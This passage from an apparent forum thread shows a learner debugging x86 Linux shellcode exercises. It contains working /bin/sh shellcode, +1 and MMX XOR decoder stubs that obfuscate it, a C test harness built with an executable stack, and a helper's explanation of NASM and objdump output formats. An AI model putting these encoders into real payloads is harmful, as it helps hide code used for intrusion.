  0x0c, 0x6e, 0x0d, 0x89, 0x0e, 0xe3, 0x0f, 0x50, 0x10, 0x89, 0x11, 0xe2,
  0x12, 0x53, 0x13, 0x89, 0x14, 0xe1, 0x15, 0xb0, 0x16, 0x0b, 0x17, 0xcd,
  0x18, 0x80, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e, 0x74, 0x65,
  0x78, 0x74, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62,
  0x00, 0x2e, 0x73, 0x79, 0x6d, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x73, 0x74,
  0x72, 0x74, 0x61, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x04, 0x00, 0xf1, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, 0x12, 0x00, 0x00, 0x00,
  0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
  0x1a, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x00, 0x00,
  0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
  0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x10, 0x00, 0x01, 0x00, 0x00, 0x74, 0x65, 0x73, 0x74, 0x2e, 0x6e, 0x61,
  0x73, 0x6d, 0x00, 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74, 0x00, 0x64, 0x65,
  0x63, 0x6f, 0x64, 0x65, 0x72, 0x00, 0x64, 0x65, 0x63, 0x6f, 0x64, 0x65,
  0x00, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x63,
  0x6f, 0x64, 0x65, 0x00, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64,
  0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int __test_o_len = 608;

While assembling with your method, it works.

pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ nasm test.nasm -o test_your_method
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ xxd -i ./test_your_method 
unsigned char __test_your_method[] = {
  0xeb, 0x2c, 0x66, 0x5e, 0x67, 0x66, 0x8d, 0x7e, 0x01, 0x66, 0x31, 0xc0,
  0xb0, 0x01, 0x66, 0x31, 0xc9, 0x66, 0x31, 0xdb, 0xb1, 0x01, 0x67, 0x8a,
  0x1c, 0x06, 0x30, 0xcb, 0x75, 0x13, 0x67, 0x8a, 0x5c, 0x06, 0x01, 0x67,
  0x88, 0x1f, 0x66, 0x47, 0xfe, 0xc1, 0x04, 0x02, 0xeb, 0xe8, 0xe8, 0xd1,
  0xff, 0x31, 0x01, 0xc0, 0x02, 0x50, 0x03, 0x68, 0x04, 0x2f, 0x05, 0x2f,
  0x06, 0x73, 0x07, 0x68, 0x08, 0x68, 0x09, 0x2f, 0x0a, 0x62, 0x0b, 0x69,
  0x0c, 0x6e, 0x0d, 0x89, 0x0e, 0xe3, 0x0f, 0x50, 0x10, 0x89, 0x11, 0xe2,
  0x12, 0x53, 0x13, 0x89, 0x14, 0xe1, 0x15, 0xb0, 0x16, 0x0b, 0x17, 0xcd,
  0x18, 0x80, 0x19
};
unsigned int __test_your_method_len = 99;
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ 

Between your method and the first line of the compile.sh script I can see no difference besides it's specifying the output file format but xxd gives me lot's of 0x00's when assembling with -f elf32?! But if I load the test.o or the executeable file test.elf up in objdump there are no 0x00's??

 

	pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./compile.sh test
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d test -M intel
	test:     file format elf32-i386
	
Disassembly of section .text:
	08048060 <_start>:
 8048060:    eb 22                    jmp    8048084 <call_shellcode>
	08048062 <decoder>:
 8048062:    5e                       pop    esi
 8048063:    8d 7e 01                 lea    edi,[esi+0x1]
 8048066:    31 c0                    xor    eax,eax
 8048068:    b0 01                    mov    al,0x1
 804806a:    31 c9                    xor    ecx,ecx
 804806c:    31 db                    xor    ebx,ebx
 804806e:    b1 01                    mov    cl,0x1
	08048070 <decode>:
 8048070:    8a 1c 06                 mov    bl,BYTE PTR [esi+eax*1]
 8048073:    30 cb                    xor    bl,cl
 8048075:    75 12                    jne    8048089 <Shellcode>
 8048077:    8a 5c 06 01              mov    bl,BYTE PTR [esi+eax*1+0x1]
 804807b:    88 1f                    mov    BYTE PTR [edi],bl
 804807d:    47                       inc    edi
 804807e:    fe c1                    inc    cl
 8048080:    04 02                    add    al,0x2
 8048082:    eb ec                    jmp    8048070 <decode>
	08048084 <call_shellcode>:
 8048084:    e8 d9 ff ff ff           call   8048062 <decoder>
	08048089 <Shellcode>:
 8048089:    31 01                    xor    DWORD PTR [ecx],eax
 804808b:    c0 02 50                 rol    BYTE PTR [edx],0x50
 804808e:    03 68 04                 add    ebp,DWORD PTR [eax+0x4]
 8048091:    2f                       das    
 8048092:    05 2f 06 73 07           add    eax,0x773062f
 8048097:    68 08 68 09 2f           push   0x2f096808
 804809c:    0a 62 0b                 or     ah,BYTE PTR [edx+0xb]
 804809f:    69 0c 6e 0d 89 0e e3     imul   ecx,DWORD PTR [esi+ebp*2],0xe30e890d
 80480a6:    0f 50                    (bad)  
 80480a8:    10 89 11 e2 12 53        adc    BYTE PTR [ecx+0x5312e211],cl
 80480ae:    13 89 14 e1 15 b0        adc    ecx,DWORD PTR [ecx-0x4fea1eec]
 80480b4:    16                       push   ss
 80480b5:    0b 17                    or     edx,DWORD PTR [edi]
 80480b7:    cd 18                    int    0x18
 80480b9:    80                       .byte 0x80
 80480ba:    19                       .byte 0x19
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d test.o -M intel
	test.o:     file format elf32-i386
	
Disassembly of section .text:
	00000000 <_start>:
   0:    eb 22                    jmp    24 <call_shellcode>
	00000002 <decoder>:
   2:    5e                       pop    esi
   3:    8d 7e 01                 lea    edi,[esi+0x1]
   6:    31 c0                    xor    eax,eax
   8:    b0 01                    mov    al,0x1
   a:    31 c9                    xor    ecx,ecx
   c:    31 db                    xor    ebx,ebx
   e:    b1 01                    mov    cl,0x1
	00000010 <decode>:
  10:    8a 1c 06                 mov    bl,BYTE PTR [esi+eax*1]
  13:    30 cb                    xor    bl,cl
  15:    75 12                    jne    29 <Shellcode>
  17:    8a 5c 06 01              mov    bl,BYTE PTR [esi+eax*1+0x1]
  1b:    88 1f                    mov    BYTE PTR [edi],bl
  1d:    47                       inc    edi
  1e:    fe c1                    inc    cl
  20:    04 02                    add    al,0x2
  22:    eb ec                    jmp    10 <decode>
	00000024 <call_shellcode>:
  24:    e8 d9 ff ff ff           call   2 <decoder>
	00000029 <Shellcode>:
  29:    31 01                    xor    DWORD PTR [ecx],eax
  2b:    c0 02 50                 rol    BYTE PTR [edx],0x50
  2e:    03 68 04                 add    ebp,DWORD PTR [eax+0x4]
  31:    2f                       das    
  32:    05 2f 06 73 07           add    eax,0x773062f
  37:    68 08 68 09 2f           push   0x2f096808
  3c:    0a 62 0b                 or     ah,BYTE PTR [edx+0xb]
  3f:    69 0c 6e 0d 89 0e e3     imul   ecx,DWORD PTR [esi+ebp*2],0xe30e890d
  46:    0f 50                    (bad)  
  48:    10 89 11 e2 12 53        adc    BYTE PTR [ecx+0x5312e211],cl
  4e:    13 89 14 e1 15 b0        adc    ecx,DWORD PTR [ecx-0x4fea1eec]
  54:    16                       push   ss
  55:    0b 17                    or     edx,DWORD PTR [edi]
  57:    cd 18                    int    0x18
  59:    80                       .byte 0x80
  5a:    19                       .byte 0x19
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$

 

I also checked the man pages of ld because you didn't link anything and so maybe this step is redundant? It says it combines a number of object files but in my case there are no object files to combine, so what does ld do in my case?

Quote

LD(1)                        GNU Development Tools                       LD(1)

NAME
       ld - The GNU linker

SYNOPSIS
       ld [options] objfile ...

DESCRIPTION
       ld combines a number of object and archive files, relocates their data
       and ties up symbol references. Usually the last step in compiling a
       program is to run ld.

 

 

You see I'm very new to this kind of stuff, but i'm willing to learn. Do you have some kind of advices or papers/articles about those topics which might help me getting more into it? I feel like I have to get deeper in this behind the scenes stuff of linux systems and files stuff.

 

Edited by pcfx
Extreme Coders
Posted
1 hour ago, pcfx said:

So with readelf -l I get information of the file's segment header, is this correct? I'm not quite sure how I can verify if -z execstack is set or not because I get the same output with both files.

You do not get the same output. Check the program headers https://www.diffchecker.com/smsdx92y

 

1 hour ago, pcfx said:

Between your method and the first line of the compile.sh script I can see no difference besides it's specifying the output file format but xxd gives me lot's of 0x00's when assembling with -f elf32?!

That's a whole world of difference. These are two different output formats. 
Your method compiles the asm to a object file. An object file contains your asm code along with other metadata to be used for linking by the GNU linker ld. An object file has its own header, and that's why you are seeing those 00 (null) bytes.

 

1 hour ago, pcfx said:

But if I load the test.o or the executeable file test.elf up in objdump there are no 0x00's??

It's because objdump understands the respective file format. It only shows the disassembled code not the header.

 

1 hour ago, pcfx said:

I also checked the man pages of ld because you didn't link anything and so maybe this step is redundant? It says it combines a number of object files but in my case there are no object files to combine, so what does ld do in my case?

The linker is redundant. One of the output formats of nasm is the binary file format. This contains just the raw machine code.
Once you have the raw machine code you can directly use it in your c file after xxd' ing it.

In your case, the output format is elf32 which is an object file format. You cannot use such files directly and hence the need for the linker.

 

1 hour ago, pcfx said:

You see I'm very new to this kind of stuff, but i'm willing to learn. Do you have some kind of advices or papers/articles about those topics which might help me getting more into it? I feel like I have to get deeper in this behind the scenes stuff of linux systems and files stuff.

This is not related to reverse engineering or shellcoding. You would need to be familiar with the linux tools and the unix architecture in general.
About advice, nothing beats first hand practice. If you use a linux distro for majority of your development work, you should get familiar with it.

  • Like 1
Posted (edited)

Thanks man, this really helps me out but I encountered another problem while doing exercises. Here is another decoder, which should decode the bin/sh shellcode XOR'ed with 0xAA.

pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ cat mmx_xor_decoder.nasm
global _start

section .text
_start:
	jmp short call_shellcode

decoder:
	pop edi			;get address of decoder_value
	lea esi, [edi+8]	;get address of EncodedShellcode
	xor ecx, ecx
	mov cl, 4

decode:
	movq mm0, qword [edi]	; 8 bytes of decoder_value
	movq mm1, qword [esi]	; points to shellcode
	pxor mm0, mm1
	movq qword [esi], mm0
	add esi, 0x8
	loop decode

	jmp short EncodedShellcode

call_shellcode:
	call decoder
	decoder_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa
	EncodedShellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a

So I tried your workflow to obtain the op-code but I encounter a seg fault error again.

pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ nasm mmx_xor_decoder.nasm -o mmx_xor_decoder.bin
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ objdump -d ./mmx_xor_decoder.bin -M intelobjdump: ./mmx_xor_decoder.bin: File format not recognized
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ xxd -i ./mmx_xor_decoder.bin
unsigned char __mmx_xor_decoder_bin[] = {
  0xeb, 0x23, 0x66, 0x5f, 0x67, 0x66, 0x8d, 0x77, 0x08, 0x66, 0x31, 0xc9,
  0xb1, 0x04, 0x67, 0x0f, 0x6f, 0x07, 0x67, 0x0f, 0x6f, 0x0e, 0x0f, 0xef,
  0xc1, 0x67, 0x0f, 0x7f, 0x06, 0x66, 0x83, 0xc6, 0x08, 0xe2, 0xeb, 0xeb,
  0x0b, 0xe8, 0xda, 0xff, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa,
  0x9b, 0x6a, 0xfa, 0xc2, 0x85, 0x85, 0xd9, 0xc2, 0xc2, 0x85, 0xc8, 0xc3,
  0xc4, 0x23, 0x49, 0xfa, 0x23, 0x48, 0xf9, 0x23, 0x4b, 0x1a, 0xa1, 0x67,
  0x2a
};
unsigned int __mmx_xor_decoder_bin_len = 73;
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ cp shellcode.c shellcode_1.c
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode_
shellcode_1.c         shellcode_bin_sh.txt  
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode_
shellcode_1.c         shellcode_bin_sh.txt  
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode_1.c
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ cat shellcode_1.c
#include <stdio.h>
#include <string.h>

unsigned char code[] = {
  0xeb, 0x23, 0x66, 0x5f, 0x67, 0x66, 0x8d, 0x77, 0x08, 0x66, 0x31, 0xc9,
  0xb1, 0x04, 0x67, 0x0f, 0x6f, 0x07, 0x67, 0x0f, 0x6f, 0x0e, 0x0f, 0xef,
  0xc1, 0x67, 0x0f, 0x7f, 0x06, 0x66, 0x83, 0xc6, 0x08, 0xe2, 0xeb, 0xeb,
  0x0b, 0xe8, 0xda, 0xff, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa,
  0x9b, 0x6a, 0xfa, 0xc2, 0x85, 0x85, 0xd9, 0xc2, 0xc2, 0x85, 0xc8, 0xc3,
  0xc4, 0x23, 0x49, 0xfa, 0x23, 0x48, 0xf9, 0x23, 0x4b, 0x1a, 0xa1, 0x67,
  0x2a
};


main()
{
	printf("Shellcode Length: %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();
}
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ gcc -fno-stack-protector -z execstack shellcode_1.c -o shellcode_1
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ ./shellcode_1
Shellcode Length: 73
Segmentation fault (core dumped)
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ 

With the other method it's working fine. Why do I get different opcodes and why can't I open the binary file with objdump? Shouldn't binary files just contain the op-code which the CPU can directly execute and hence it should be simple to disassemble?

pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ ./compile.sh mmx_xor_decoder
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ objdump -d ./mmx_xor_decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1b\x5f\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x0d\xe8\xe0\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a"
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode.c
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ ./shellcode 
Shellcode Length: 67
$ exit
pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ 

..and I can't disassemble binary files directly in gdb?

pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ gdb -q ./mmx_xor_decoder.bin
"/home/pcfx/Code/shellcodes/mmx_xor_decoder/mmx_xor_decoder.bin": not in executable format: File format not recognized
(gdb) 

I disassembled both op-codes with an online disassembler to see what's going on:

working

Spoiler

String Literal:

"\xEB\x1B\x5F\x8D\x77\x08\x31\xC9\xB1\x04\x0F\x6F\x07\x0F\x6F\x0E\x0F\xEF\xC1\x0F\x7F\x06\x83\xC6\x08\xE2\xEF\xEB\x0D\xE8\xE0\xFF\xFF\xFF\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x9B\x6A\xFA\xC2\x85\x85\xD9\xC2\xC2\x85\xC8\xC3\xC4\x23\x49\xFA\x23\x48\xF9\x23\x4B\x1A\xA1\x67\x2A"

Array Literal:

{ 0xEB, 0x1B, 0x5F, 0x8D, 0x77, 0x08, 0x31, 0xC9, 0xB1, 0x04, 0x0F, 0x6F, 0x07, 0x0F, 0x6F, 0x0E, 0x0F, 0xEF, 0xC1, 0x0F, 0x7F, 0x06, 0x83, 0xC6, 0x08, 0xE2, 0xEF, 0xEB, 0x0D, 0xE8, 0xE0, 0xFF, 0xFF, 0xFF, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x9B, 0x6A, 0xFA, 0xC2, 0x85, 0x85, 0xD9, 0xC2, 0xC2, 0x85, 0xC8, 0xC3, 0xC4, 0x23, 0x49, 0xFA, 0x23, 0x48, 0xF9, 0x23, 0x4B, 0x1A, 0xA1, 0x67, 0x2A }
Disassembly:

0:  eb 1b                   jmp    0x1d
2:  5f                      pop    edi
3:  8d 77 08                lea    esi,[edi+0x8]
6:  31 c9                   xor    ecx,ecx
8:  b1 04                   mov    cl,0x4
a:  0f 6f 07                movq   mm0,QWORD PTR [edi]
d:  0f 6f 0e                movq   mm1,QWORD PTR [esi]
10: 0f ef c1                pxor   mm0,mm1
13: 0f 7f 06                movq   QWORD PTR [esi],mm0
16: 83 c6 08                add    esi,0x8
19: e2 ef                   loop   0xa
1b: eb 0d                   jmp    0x2a
1d: e8 e0 ff ff ff          call   0x2
22: aa                      stos   BYTE PTR es:[edi],al
23: aa                      stos   BYTE PTR es:[edi],al
24: aa                      stos   BYTE PTR es:[edi],al
25: aa                      stos   BYTE PTR es:[edi],al
26: aa                      stos   BYTE PTR es:[edi],al
27: aa                      stos   BYTE PTR es:[edi],al
28: aa                      stos   BYTE PTR es:[edi],al
29: aa                      stos   BYTE PTR es:[edi],al
2a: 9b                      fwait
2b: 6a fa                   push   0xfffffffa
2d: c2 85 85                ret    0x8585
30: d9 c2                   fld    st(2)
32: c2 85 c8                ret    0xc885
35: c3                      ret
36: c4 23                   les    esp,FWORD PTR [ebx]
38: 49                      dec    ecx
39: fa                      cli
3a: 23 48 f9                and    ecx,DWORD PTR [eax-0x7]
3d: 23 4b 1a                and    ecx,DWORD PTR [ebx+0x1a]
40: a1                      .byte 0xa1
41: 67                      addr16
42: 2a                      .byte 0x2a

 

 

not working:

Spoiler

String Literal:

"\xEB\x23\x66\x5F\x67\x66\x8D\x77\x08\x66\x31\xC9\xB1\x04\x67\x0F\x6F\x07\x67\x0F\x6F\x0E\x0F\xEF\xC1\x67\x0F\x7F\x06\x66\x83\xC6\x08\xE2\xEB\xEB\x0B\xE8\xDA\xFF\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x9B\x6A\xFA\xC2\x85\x85\xD9\xC2\xC2\x85\xC8\xC3\xC4\x23\x49\xFA\x23\x48\xF9\x23\x4B\x1A\xA1\x67\x2A"

Array Literal:

{ 0xEB, 0x23, 0x66, 0x5F, 0x67, 0x66, 0x8D, 0x77, 0x08, 0x66, 0x31, 0xC9, 0xB1, 0x04, 0x67, 0x0F, 0x6F, 0x07, 0x67, 0x0F, 0x6F, 0x0E, 0x0F, 0xEF, 0xC1, 0x67, 0x0F, 0x7F, 0x06, 0x66, 0x83, 0xC6, 0x08, 0xE2, 0xEB, 0xEB, 0x0B, 0xE8, 0xDA, 0xFF, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x9B, 0x6A, 0xFA, 0xC2, 0x85, 0x85, 0xD9, 0xC2, 0xC2, 0x85, 0xC8, 0xC3, 0xC4, 0x23, 0x49, 0xFA, 0x23, 0x48, 0xF9, 0x23, 0x4B, 0x1A, 0xA1, 0x67, 0x2A }
Disassembly:

0:  eb 23                   jmp    0x25
2:  66 5f                   pop    di
4:  67 66 8d 77 08          lea    si,[bx+0x8]
9:  66 31 c9                xor    cx,cx
c:  b1 04                   mov    cl,0x4
e:  67 0f 6f 07             movq   mm0,QWORD PTR [bx]
12: 67 0f 6f 0e 0f ef       movq   mm1,QWORD PTR ds:0xef0f
18: c1 67 0f 7f             shl    DWORD PTR [edi+0xf],0x7f
1c: 06                      push   es
1d: 66 83 c6 08             add    si,0x8
21: e2 eb                   loop   0xe
23: eb 0b                   jmp    0x30
25: e8 da ff aa aa          call   0xaaab0004
2a: aa                      stos   BYTE PTR es:[edi],al
2b: aa                      stos   BYTE PTR es:[edi],al
2c: aa                      stos   BYTE PTR es:[edi],al
2d: aa                      stos   BYTE PTR es:[edi],al
2e: aa                      stos   BYTE PTR es:[edi],al
2f: aa                      stos   BYTE PTR es:[edi],al
30: 9b                      fwait
31: 6a fa                   push   0xfffffffa
33: c2 85 85                ret    0x8585
36: d9 c2                   fld    st(2)
38: c2 85 c8                ret    0xc885
3b: c3                      ret
3c: c4 23                   les    esp,FWORD PTR [ebx]
3e: 49                      dec    ecx
3f: fa                      cli
40: 23 48 f9                and    ecx,DWORD PTR [eax-0x7]
43: 23 4b 1a                and    ecx,DWORD PTR [ebx+0x1a]
46: a1                      .byte 0xa1
47: 67                      addr16
48: 2a                      .byte 0x2a

 

 

I'm really confused. I think I'm doing something wrong or did not understand things properly.

Edited by pcfx
Extreme Coders
Posted (edited)
8 hours ago, pcfx said:

With the other method it's working fine. Why do I get different opcodes and why can't I open the binary file with objdump? Shouldn't binary files just contain the op-code which the CPU can directly execute and hence it should be simple to disassemble?

Why doesn't objdump open the binary files on its own

objdump can indeed disassemble binary files, but you need to pass the correct parameters. If you invoke objdump in straightforward way like this you would get an error.

ec@ubuntu:~/Desktop/shellcode$ objdump -d  -M intel ./mmx_xor_decoder.bin
objdump: ./mmx_xor_decoder.bin: File format not recognized

As it is a binary file, there are no headers. objdump uses the headers to figure out the type of file which it cannot in this case. If you tell objdump about the type of file it would happily disassemble.

ec@ubuntu:~/Desktop/shellcode$ objdump -D -b binary -m i386 -M intel ./mmx_xor_decoder.bin 

./mmx_xor_decoder.bin:     file format binary
Disassembly of section .data:
00000000 <.data>:
   0:	eb 23                	jmp    0x25
   2:	66 5f                	pop    di
   4:	66 67 8d 77 08       	lea    si,[bx+0x8]
   9:	66 31 c9             	xor    cx,cx
   c:	b1 04                	mov    cl,0x4
<snip>

 

Why do you different opcodes in the two methods
This is because for raw binary files nasm by default generates 16 bit code. You need to tell explicitly nasm to generate 32 bit code.
This can be done by the USE32 or BITS 32 directive. This needs to be specified at the first line in your code.

Spoiler

ec@ubuntu:~/Desktop/shellcode$ cat mmx_xor_decoder.nasm 
BITS 32
global _start

section .text
_start:
	jmp short call_shellcode

decoder:
	pop edi			;get address of decoder_value
	lea esi, [edi+8]	;get address of EncodedShellcode
	xor ecx, ecx
	mov cl, 4

decode:
	movq mm0, qword [edi]	; 8 bytes of decoder_value
	movq mm1, qword [esi]	; points to shellcode
	pxor mm0, mm1
	movq qword [esi], mm0
	add esi, 0x8
	loop decode

	jmp short EncodedShellcode

call_shellcode:
	call decoder
	decoder_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa
	EncodedShellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a

The rest of the steps are the same.

Edited by Extreme Coders
  • Like 1
Posted

Alright thanks for your excellent explanations everything works now!

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...